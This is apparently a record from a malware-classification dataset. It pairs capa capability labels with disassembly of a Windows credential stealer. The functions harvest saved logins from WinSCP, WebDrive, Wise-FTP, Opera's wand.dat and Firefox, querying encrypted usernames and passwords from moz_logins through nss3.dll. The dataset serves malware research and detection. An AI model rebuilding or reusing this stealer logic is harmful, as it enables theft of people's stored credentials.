joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407af5
Capabilities:
Gather winscp information
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7d0
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x407d57
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x407b4a
jmp 0x407d4f
push 0x414c17
push dword [ebp + 0x10]
call fcn.00401d33
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401d33
mov dword [ebp - 0x810], eax
call fcn.004018b8
push 0
push 0x415fd2
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401cac
mov dword [ebp - 0x81c], eax
push 0
push 0x415fdb
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401cac
mov dword [ebp - 0x814], eax
push 0
push 0x415fe4
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401cac
mov dword [ebp - 0x818], eax
push 0
push str.RemoteDirectory
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401cac
mov dword [ebp - 0x824], eax
lea eax, [ebp - 0x820]
push eax
push 0x415ffd
push dword [ebp - 0x810]
push dword [0x414c3b]
call fcn.00401cac
or eax, eax
je 0x407c18
cmp dword [ebp - 0x820], 4
jne 0x407c18
push dword [eax]
pop dword [ebp - 0x828]
push eax
call fcn.004018b8
jmp 0x407c2c
or eax, eax
je 0x407c22
push eax
call fcn.004018b8
mov dword [ebp - 0x828], 0x15
lea eax, [ebp - 0x830]
push eax
push str.FSProtocol
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401cac
mov dword [ebp - 0x82c], eax
cmp dword [ebp - 0x81c], 0
je 0x407cf4
cmp dword [ebp - 0x814], 0
je 0x407cf4
cmp dword [ebp - 0x818], 0
je 0x407cf4
push 0xbeef0010
push dword [ebp + 8]
call fcn.00401569
push dword [ebp - 0x814]
push dword [ebp + 8]
call fcn.004015cb
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.004015cb
push dword [ebp - 0x81c]
push dword [ebp + 8]
call fcn.004015cb
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.00401569
push dword [ebp - 0x824]
push dword [ebp + 8]
call fcn.004015cb
cmp dword [ebp - 0x82c], 0
je 0x407cea
cmp dword [ebp - 0x830], 4
jne 0x407cea
mov eax, dword [ebp - 0x82c]
push dword [eax]
push dword [ebp + 8]
call fcn.00401569
jmp 0x407cf4
push 0
push dword [ebp + 8]
call fcn.00401569
push dword [ebp - 0x81c]
call fcn.004018b8
push dword [ebp - 0x814]
call fcn.004018b8
push dword [ebp - 0x818]
call fcn.004018b8
push dword [ebp - 0x824]
call fcn.004018b8
push dword [ebp - 0x82c]
call fcn.004018b8
push dword [ebp - 0x810]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00407af5
push dword [ebp - 0x810]
call fcn.004018b8
inc dword [ebp - 8]
jmp 0x407b1c
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0xc
Function at 0x407e47
Capabilities:
Gather southriver-webdrive information
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7d4
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x40805b
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x407e9c
jmp 0x408053
push 0x414c17
push dword [ebp + 0x10]
call fcn.00401d33
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401d33
mov dword [ebp - 0x810], eax
call fcn.004018b8
lea eax, [ebp - 0x820]
push eax
push str.PassWord
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401cac
mov dword [ebp - 0x81c], eax
push 0
push 0x416058
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401cac
mov dword [ebp - 0x814], eax
push 0
push 0x41605c
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401cac
mov dword [ebp - 0x818], eax
push 0
push str.RootDirectory
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401cac
mov dword [ebp - 0x824], eax
push 0
push 0x416073
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401cac
mov dword [ebp - 0x828], eax
push 0
push 0x4160af
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401cac
mov dword [ebp - 0x82c], eax
cmp dword [ebp - 0x81c], 0
je 0x407fed
cmp dword [ebp - 0x814], 0
je 0x407fed
cmp dword [ebp - 0x818], 0
je 0x407fed
push 0xbeef0010
push dword [ebp + 8]
call fcn.00401569
push dword [ebp - 0x814]
push dword [ebp + 8]
call fcn.004015cb
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.004015cb
push dword [ebp - 0x820]
push dword [ebp - 0x81c]
push dword [ebp + 8]
call fcn.0040159f
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.004015cb
push dword [ebp - 0x824]
push dword [ebp + 8]
call fcn.004015cb
push dword [ebp - 0x82c]
push dword [ebp + 8]
call fcn.004015cb
push dword [ebp - 0x81c]
call fcn.004018b8
push dword [ebp - 0x814]
call fcn.004018b8
push dword [ebp - 0x818]
call fcn.004018b8
push dword [ebp - 0x824]
call fcn.004018b8
push dword [ebp - 0x828]
call fcn.004018b8
push dword [ebp - 0x82c]
call fcn.004018b8
push dword [ebp - 0x810]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00407e47
push dword [ebp - 0x810]
call fcn.004018b8
inc dword [ebp - 8]
jmp 0x407e6e
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0xc
Function at 0x40889c
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb4
mov dword [ebp - 0x148], 0
mov eax, dword [ebp + 0xc]
or eax, eax
je 0x4088bb
cmp byte [eax], 0
jne 0x4088c0
jmp 0x408a11
push dword [ebp + 0xc]
call fcn.004024e4
or eax, eax
jne 0x4088db
push str..
push dword [ebp + 0xc]
call fcn.00401d33
jmp 0x4088e8
push 0x415360
push dword [ebp + 0xc]
call fcn.00401d33
mov dword [ebp - 0x148], eax
push 0x13e
lea eax, [ebp - 0x13e]
push eax
call fcn.004018e6
lea eax, [ebp - 0x13e]
push eax
push dword [ebp - 0x148]
call sub.kernel32.dll_FindFirstFileA
mov dword [ebp - 0x144], eax
inc eax
je 0x408a11
lea edx, [ebp - 0x13e]
test dword [edx], 0x10
je 0x4089a9
lea eax, [edx + 0x2c]
push eax
push 0x415356
call sub.kernel32.dll_lstrcmpiA
or eax, eax
jne 0x408943
jmp 0x4089ec
lea edx, [ebp - 0x13e]
lea eax, [edx + 0x2c]
push eax
push 0x415358
call sub.kernel32.dll_lstrcmpiA
or eax, eax
jne 0x408960
jmp 0x4089ec
push dword [ebp + 0xc]
call fcn.004024e4
or eax, eax
jne 0x40897b
push 0x414c17
push dword [ebp + 0xc]
call fcn.00401d33
jmp 0x408985
push 0
push dword [ebp + 0xc]
call fcn.00401d33
lea edx, [ebp - 0x13e]
lea edx, [edx + 0x2c]
push edx
push eax
call fcn.00401d87
push eax
push dword [ebp + 0x10]
push eax
push dword [ebp + 8]
call fcn.0040889c
call fcn.004018b8
jmp 0x4089ec
lea eax, [edx + 0x2c]
mov dword [ebp - 0x14c], eax
push dword [ebp + 0x10]
push dword [ebp - 0x14c]
call sub.shlwapi.dll_StrStrIA
or eax, eax
je 0x4089ec
push 0x414c17
push dword [ebp + 0xc]
call fcn.00401d33
push dword [ebp - 0x14c]
push eax
call fcn.00401d87
push eax
push eax
push dword [ebp + 8]
call fcn.00408857
call fcn.004018b8
lea eax, [ebp - 0x13e]
push eax
push dword [ebp - 0x144]
call sub.kernel32.dll_FindNextFileA
test eax, eax
jne 0x40891e
push dword [ebp - 0x144]
call sub.kernel32.dll_FindClose
push dword [ebp - 0x148]
call fcn.004018b8
leave
ret 0xc
Function at 0x408a20
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb0
mov dword [ebp - 0x148], 0
mov eax, dword [ebp + 0xc]
or eax, eax
je 0x408a3f
cmp byte [eax], 0
jne 0x408a44
jmp 0x408b4d
push str..
push dword [ebp + 0xc]
call fcn.00401d33
mov dword [ebp - 0x148], eax
push 0x13e
lea eax, [ebp - 0x13e]
push eax
call fcn.004018e6
lea eax, [ebp - 0x13e]
push eax
push dword [ebp - 0x148]
call sub.kernel32.dll_FindFirstFileA
mov dword [ebp - 0x144], eax
inc eax
je 0x408b4d
lea edx, [ebp - 0x13e]
test dword [edx], 0x10
je 0x408b28
lea edx, [ebp - 0x13e]
lea eax, [edx + 0x2c]
push eax
push 0x415356
call sub.kernel32.dll_lstrcmpiA
or eax, eax
jne 0x408ab3
jmp 0x408b28
lea edx, [ebp - 0x13e]
lea eax, [edx + 0x2c]
push eax
push 0x415358
call sub.kernel32.dll_lstrcmpiA
or eax, eax
jne 0x408acd
jmp 0x408b28
lea edx, [ebp - 0x13e]
lea eax, [edx + 0x2c]
mov dword [ebp - 0x14c], eax
push 0x414c17
push dword [ebp + 0xc]
call fcn.00401d33
push dword [ebp - 0x14c]
push eax
call fcn.00401d87
mov dword [ebp - 0x150], eax
push eax
push str.opera
push dword [ebp - 0x150]
call sub.shlwapi.dll_StrStrIA
or eax, eax
je 0x408b23
push str.wand.dat
push dword [ebp - 0x150]
push dword [ebp + 8]
call fcn.0040889c
call fcn.004018b8
lea eax, [ebp - 0x13e]
push eax
push dword [ebp - 0x144]
call sub.kernel32.dll_FindNextFileA
test eax, eax
jne 0x408a87
push dword [ebp - 0x144]
call sub.kernel32.dll_FindClose
push dword [ebp - 0x148]
call fcn.004018b8
leave
ret 8

Function at 0x408c59
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7ec
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x408d44
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x408cae
jmp 0x408d3c
push 0x414c17
push dword [ebp + 0x10]
call fcn.00401d33
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401d33
mov dword [ebp - 0x810], eax
call fcn.004018b8
push 0
push 0x41618f
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401cac
mov dword [ebp - 0x814], eax
cmp dword [ebp - 0x814], 0
je 0x408d0d
push 0xbeef0001
push dword [ebp - 0x814]
push dword [ebp + 8]
call fcn.00403f7e
push dword [ebp - 0x814]
call fcn.004018b8
push dword [ebp - 0x810]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00408c59
push dword [ebp - 0x810]
call fcn.004018b8
inc dword [ebp - 8]
jmp 0x408c80
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0xc
Function at 0x408d48
Capabilities:
Gather wise-ftp information
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7e8
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x408e86
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x408d9d
jmp 0x408e7e
push 0x414c17
push dword [ebp + 0x10]
call fcn.00401d33
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401d33
mov dword [ebp - 0x810], eax
call fcn.004018b8
push 0
push 0
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401cac
mov dword [ebp - 0x814], eax
push dword [ebp - 0x814]
call fcn.00402366
or eax, eax
je 0x408e4f
push eax
mov dword [ebp - 0x818], eax
push dword [ebp - 0x818]
call fcn.00401eb9
or eax, eax
je 0x408e4a
push 0xbeef0002
push str.wiseftpsrvs.ini
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.0040428c
push 0xbeef0002
push str.wiseftp.ini
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.0040428c
push 0xbeef0000
push str.wiseftpsrvs.bin
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.0040428c
call fcn.004018b8
push dword [ebp - 0x814]
call fcn.004018b8
push dword [ebp - 0x810]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00408d48
push dword [ebp - 0x810]
call fcn.004018b8
inc dword [ebp - 8]
jmp 0x408d6f
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0xc

Function at 0x408f9c
Capabilities:
Set current directory

Disassembly:
push ebp
mov ebp, esp
push ebx
mov dword [0x416406], 0
sub ebx, ebx
push dword [ebp + 8]
call sub.kernel32.dll_lstrlenA
mov edx, dword [ebp + 8]
cmp eax, 2
jbe 0x408fcd
add edx, eax
sub edx, 2
cmp word [edx], 0x5c5c
jne 0x408fcd
mov word [edx], 0x5c
push dword [ebp + 0xc]
call sub.kernel32.dll_SetCurrentDirectoryA
push 0x4162eb
push str.nss3.dll
call fcn.00402411
or eax, eax
je 0x40904d
push dword [ebp + 8]
call dword [0x4162eb]
add esp, 4
or eax, eax
jne 0x40904d
call dword [0x4162fb]
mov dword [0x416406], eax
cmp dword [0x416406], 0
jne 0x409014
call dword [0x4162ef]
jmp 0x40904d
push 0
push 1
push dword [0x416406]
call dword [0x4162ff]
add esp, 0xc
or eax, eax
je 0x40904c
push dword [0x416406]
call dword [0x416307]
add esp, 4
call dword [0x4162ef]
mov dword [0x416406], 0
jmp 0x40904d
inc ebx
mov eax, ebx
pop ebx
leave
ret 8
Function at 0x4091a6
Capabilities:
Gather firefox profile information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push dword [ebp + 0xc]
call fcn.00401e71
or eax, eax
jne 0x4091bc
leave
ret 0x10
push dword [ebp + 0xc]
call fcn.0040407a
or eax, eax
je 0x4091cc
leave
ret 0x10
push dword [ebp + 0x14]
push dword [ebp + 0x10]
call fcn.00408f9c
or eax, eax
jne 0x4091df
leave
ret 0x10
push 0x4163ea
push str.mozsqlite3.dll
call fcn.00402411
or eax, eax
jne 0x409201
push 0x4163ea
push str.sqlite3.dll
call fcn.00402411
or eax, eax
je 0x4093ce
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
call dword [0x4163ea]
add esp, 8
or eax, eax
jne 0x4093ce
push 0
lea eax, [ebp - 8]
push eax
push 0xffffffffffffffff
push str.SELECT_hostname__encryptedUsername__encryptedPassword_FROM_moz_logins
push dword [ebp - 4]
call dword [0x4163f2]
add esp, 0x14
or eax, eax
jne 0x4093c2
push dword [ebp - 8]
call dword [0x4163f6]
add esp, 4
cmp eax, 0x64
je 0x409258
jmp 0x4093c2
lea eax, [ebp - 0xc]
push eax
push 0
push dword [ebp - 8]
call fcn.0040917a
or eax, eax
je 0x4093bd
cmp dword [ebp - 0xc], 0
je 0x4093bd
cmp byte [eax], 0
je 0x4093bd
push eax
mov edx, dword [ebp - 0xc]
inc edx
push edx
call fcn.004018cf
pop edx
mov dword [ebp - 0x18], eax
push dword [ebp - 0xc]
push dword [ebp - 0x18]
push edx
call fcn.00401906
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
cmp dword [0x416402], 0
jne 0x409305
push 0x4164f8
call sub.kernel32.dll_lstrlenA
push eax
push 0x4164f8
push dword [ebp - 0x18]
call sub.shlwapi.dll_StrCmpNIA
or eax, eax
je 0x4092e7
push str.http:__
call sub.kernel32.dll_lstrlenA
push eax
push str.http:__
push dword [ebp - 0x18]
call sub.shlwapi.dll_StrCmpNIA
or eax, eax
je 0x409333
push str.https:__
call sub.kernel32.dll_lstrlenA
push eax
push str.https:__
push dword [ebp - 0x18]
call sub.shlwapi.dll_StrCmpNIA
jmp 0x409333
cmp dword [0x416402], 1
jne 0x409328
push str.ftp.
call sub.kernel32.dll_lstrlenA
push eax
push str.ftp.
push dword [ebp - 0x18]
call sub.shlwapi.dll_StrCmpNIA
jmp 0x409333
cmp dword [0x416402], 2
jne 0x409333
sub eax, eax
or eax, eax
jne 0x4093a5
lea eax, [ebp - 0xc]
push eax
push 1
push dword [ebp - 8]
call fcn.0040917a
push dword [ebp - 0xc]
push eax
call fcn.0040907d
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0xc]
push eax
push 2
push dword [ebp - 8]
call fcn.0040917a
push dword [ebp - 0xc]
push eax
call fcn.0040907d
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x18], 0
je 0x4093a5
cmp dword [ebp - 0x14], 0
je 0x4093a5
push 0xbeef0000
push dword [ebp + 8]
call fcn.00401569
push dword [ebp - 0x18]
push dword [ebp + 8]
call fcn.004015cb
push dword [ebp - 0x10]
push dword [ebp + 8]
call fcn.004015cb
push dword [ebp - 0x14]
push dword [ebp + 8]
call fcn.004015cb
push dword [ebp - 0x10]
call fcn.004018b8
push dword [ebp - 0x14]
call fcn.004018b8
push dword [ebp - 0x18]
call fcn.004018b8
jmp 0x409242
push dword [ebp - 4]
call dword [0x4163ee]
add esp, 4
call fcn.00409054
leave
ret 0x10
Function at 0x40976d
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb4
mov dword [ebp - 0x148], 0
mov eax, dword [ebp + 0x14]
or eax, eax
je 0x40978c
cmp byte [eax], 0
jne 0x409791
jmp 0x4099d5
push dword [ebp + 0x14]
call fcn.004024e4
or eax, eax
jne 0x4097ac
push str..
push dword [ebp + 0x14]
call fcn.00401d33
jmp 0x4097b9
push 0x415360
push dword [ebp + 0x14]
call fcn.00401d33
mov dword [ebp - 0x148], eax
push 0x13e
lea eax, [ebp - 0x13e]
push eax
call fcn.004018e6
lea eax, [ebp - 0x13e]
push eax
push dword [ebp - 0x148]
call sub.kernel32.dll_FindFirstFileA
mov dword [ebp - 0x144], eax
inc eax
je 0x4099d5
lea edx, [ebp - 0x13e]
test dword [edx], 0x10
je 0x409884
lea eax, [edx + 0x2c]
push eax
push 0x415356
call sub.kernel32.dll_lstrcmpiA
or eax, eax
jne 0x409818
jmp 0x4099b0
lea edx, [ebp - 0x13e]
lea eax, [edx + 0x2c]
push eax
push 0x415358
call sub.kernel32.dll_lstrcmpiA
or eax, eax
jne 0x409835
jmp 0x4099b0
push dword [ebp + 0x14]
call fcn.004024e4
or eax, eax
jne 0x409850
push 0x414c17
push dword [ebp + 0x14]
call fcn.00401d33
jmp 0x40985a
push 0
push dword [ebp + 0x14]
call fcn.00401d33
lea edx, [ebp - 0x13e]
lea edx, [edx + 0x2c]
push edx
push eax
call fcn.00401d87
push eax
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0040976d
call fcn.004018b8
jmp 0x4099b0
lea eax, [edx + 0x2c]
mov dword [ebp - 0x14c], eax
cmp dword [0x416402], 3
jne 0x4098dc
push str.prefs.js
push dword [ebp - 0x14c]
call sub.shlwapi.dll_StrStrIA
or eax, eax
je 0x4098d7
push 0x414c17
push dword [ebp + 0x14]
call fcn.00401d33
push dword [ebp - 0x14c]
push eax
call fcn.00401d87
push eax
push 0xbeef0001
push eax
push dword [ebp + 8]
call fcn.00403fa7
call fcn.004018b8
jmp 0x4099b0
push str.signons.sqlite
push dword [ebp - 0x14c]
call sub.shlwapi.dll_StrStrIA
or eax, eax
je 0x40991e
push 0x414c17
push dword [ebp + 0x14]
call fcn.00401d33
push dword [ebp - 0x14c]
push eax
call fcn.00401d87
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push eax
push dword [ebp + 8]
call fcn.004091a6
call fcn.004018b8
push dword [ebp - 0x14c]
call sub.kernel32.dll_lstrlenA
cmp eax, 2
jb 0x409942
mov edx, dword [ebp - 0x14c]
add edx, eax
sub edx, 2
cmp word [edx], 0x732e
jne 0x409942
jmp 0x409982
push str.signons.txt
push dword [ebp - 0x14c]
call sub.shlwapi.dll_StrStrIA
push eax
push str.signons2.txt
push dword [ebp - 0x14c]
call sub.shlwapi.dll_StrStrIA
push eax
push str.signons3.txt
push dword [ebp - 0x14c]
call sub.shlwapi.dll_StrStrIA
pop edx
pop ecx
or eax, eax
jne 0x409982
or edx, edx
jne 0x409982
or ecx, ecx
je 0x4099b0
push 0x414c17
push dword [ebp + 0x14]
call fcn.00401d33
push dword [ebp - 0x14c]
push eax
call fcn.00401d87
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push eax
push dword [ebp + 8]
call fcn.00409413
call fcn.004018b8
lea eax, [ebp - 0x13e]
push eax
push dword [ebp - 0x144]
call sub.kernel32.dll_FindNextFileA
test eax, eax
jne 0x4097ef
push dword [ebp - 0x144]
call sub.kernel32.dll_FindClose
push dword [ebp - 0x148]
call fcn.004018b8
leave
ret 0x10
Function at 0x4099fc
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push edi
push dword [ebp + 0xc]
call fcn.00401eb9
or eax, eax
jne 0x409a14
pop edi
leave
ret 0xc
push dword [ebp + 0x10]
call fcn.00401eb9
or eax, eax
jne 0x409a25
pop edi
leave
ret 0xc
push dword [ebp + 0xc]
call fcn.004024e4
or eax, eax
jne 0x409a40
push 0x414c17
push dword [ebp + 0xc]
call fcn.00401d33
jmp 0x409a4a
push 0
push dword [ebp + 0xc]
call fcn.00401d33
mov dword [ebp - 0xc], eax
push str.profiles.ini
push dword [ebp - 0xc]
call fcn.00401d33
mov dword [ebp - 8], eax
push 0xfdea
call fcn.004018cf
mov dword [ebp - 4], eax
push 0x1000
call fcn.004018cf
mov dword [ebp - 0x10], eax
push dword [ebp - 8]
call fcn.00401e71
or eax, eax
je 0x409b44
push dword [ebp - 8]
push 0xfde8
push dword [ebp - 4]
call sub.kernel32.dll_GetPrivateProfileSectionNamesA
cmp eax, 2
jbe 0x409b44
mov edi, dword [ebp - 4]
cmp byte [edi], 0
je 0x409b44
push str.Profile
push edi
call sub.shlwapi.dll_StrStrIA
or eax, eax
je 0x409b32
push dword [ebp - 8]
push 0xfff
push dword [ebp - 0x10]
push 0x414c19
push 0x41642a
push edi
call sub.kernel32.dll_GetPrivateProfileStringA
or eax, eax
je 0x409b32
push dword [ebp - 8]
push 1
push str.IsRelative
push edi
call sub.kernel32.dll_GetPrivateProfileIntA
cmp eax, 1
jne 0x409b24
push dword [ebp - 0x10]
push dword [ebp - 0xc]
call fcn.00401d33
push eax
mov edx, eax
jmp 0x409b08
cmp byte [edx], 0x2f
jne 0x409b07
mov byte [edx], 0x5c
inc edx
or edx, edx
je 0x409b11
cmp byte [edx], 0
jne 0x409aff
push dword [ebp + 0x10]
push eax
push dword [ebp + 8]
call fcn.004099e4
call fcn.004018b8
jmp 0x409b32
push dword [ebp + 0x10]
push dword [ebp - 0x10]
push dword [ebp + 8]
call fcn.004099e4
cld
xor eax, eax
mov ecx, 0xffffffff
repne scasb al, byte es:[edi]
cmp byte [edi], al
jne 0x409aac
push dword [ebp - 0xc]
call fcn.004018b8
push dword [ebp - 0x10]
call fcn.004018b8
push dword [ebp - 8]
call fcn.004018b8
push dword [ebp - 4]
call fcn.004018b8
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004099e4
pop edi
leave
ret 0xc
Function at 0x409b77
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
call sub.shlwapi.dll_StrStrIA
or eax, eax
je 0x409be3
push 0
push str.PathToExe
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call fcn.00401cac
or eax, eax
je 0x409be3
push eax
push eax
call fcn.00402366
or eax, eax
je 0x409bde
mov dword [ebp - 0x18], eax
push 0x1a
call fcn.00401dec
or eax, eax
je 0x409bd6
push dword [ebp + 0x18]
push eax
call fcn.00401d87
push eax
push dword [ebp - 0x18]
push eax
push dword [ebp + 8]
call fcn.004099fc
call fcn.004018b8
push dword [ebp - 0x18]
call fcn.004018b8
call fcn.004018b8
push 0x800
call fcn.004018cf
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x409c73
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 8]
push dword [ebp - 0x10]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x409c31
jmp 0x409c6b
push 0x414c17
push dword [ebp + 0x10]
call fcn.00401d33
push dword [ebp - 8]
push eax
call fcn.00401d87
mov dword [ebp - 0x14], eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp - 0x14]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00409b77
push dword [ebp - 0x14]
call fcn.004018b8
inc dword [ebp - 0x10]
jmp 0x409c0a
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
push dword [ebp - 8]
call fcn.004018b8
leave
ret 0x14

Function at 0x40ae12
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7e8
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [0x414c3b]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x40af49
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x810]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x40ae6a
jmp 0x40af41
push 0x414c17
push dword [ebp + 0xc]
call fcn.00401d33
push eax
mov edx, eax
lea eax, [ebp - 0x810]
push eax
push edx
call fcn.00401d33
mov dword [ebp - 0x818], eax
call fcn.004018b8
lea eax, [ebp - 0x10]
push eax
push str.SiteServers
push dword [ebp - 0x818]
push dword [0x414c3b]
call fcn.00401cac
mov dword [ebp - 0x814], eax
cmp dword [ebp - 0x814], 0
je 0x40af15
cmp dword [ebp - 0x10], 4
jne 0x40af0a
mov eax, dword [ebp - 0x814]
push dword [eax]
pop dword [ebp - 0x814]
cmp dword [ebp - 0x814], 0x3e8
jbe 0x40aee5
mov dword [ebp - 0x814], 0x3e8
jmp 0x40af01
dec dword [ebp - 0x814]
push dword [ebp - 0x814]
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.0040ab79
cmp dword [ebp - 0x814], 0
jne 0x40aee7
push dword [ebp - 0x814]
call fcn.004018b8
push dword [ebp - 0x814]
call fcn.004018b8
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.0040ae12
push dword [ebp - 0x818]
call fcn.004018b8
inc dword [ebp - 8]
jmp 0x40ae3c
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 8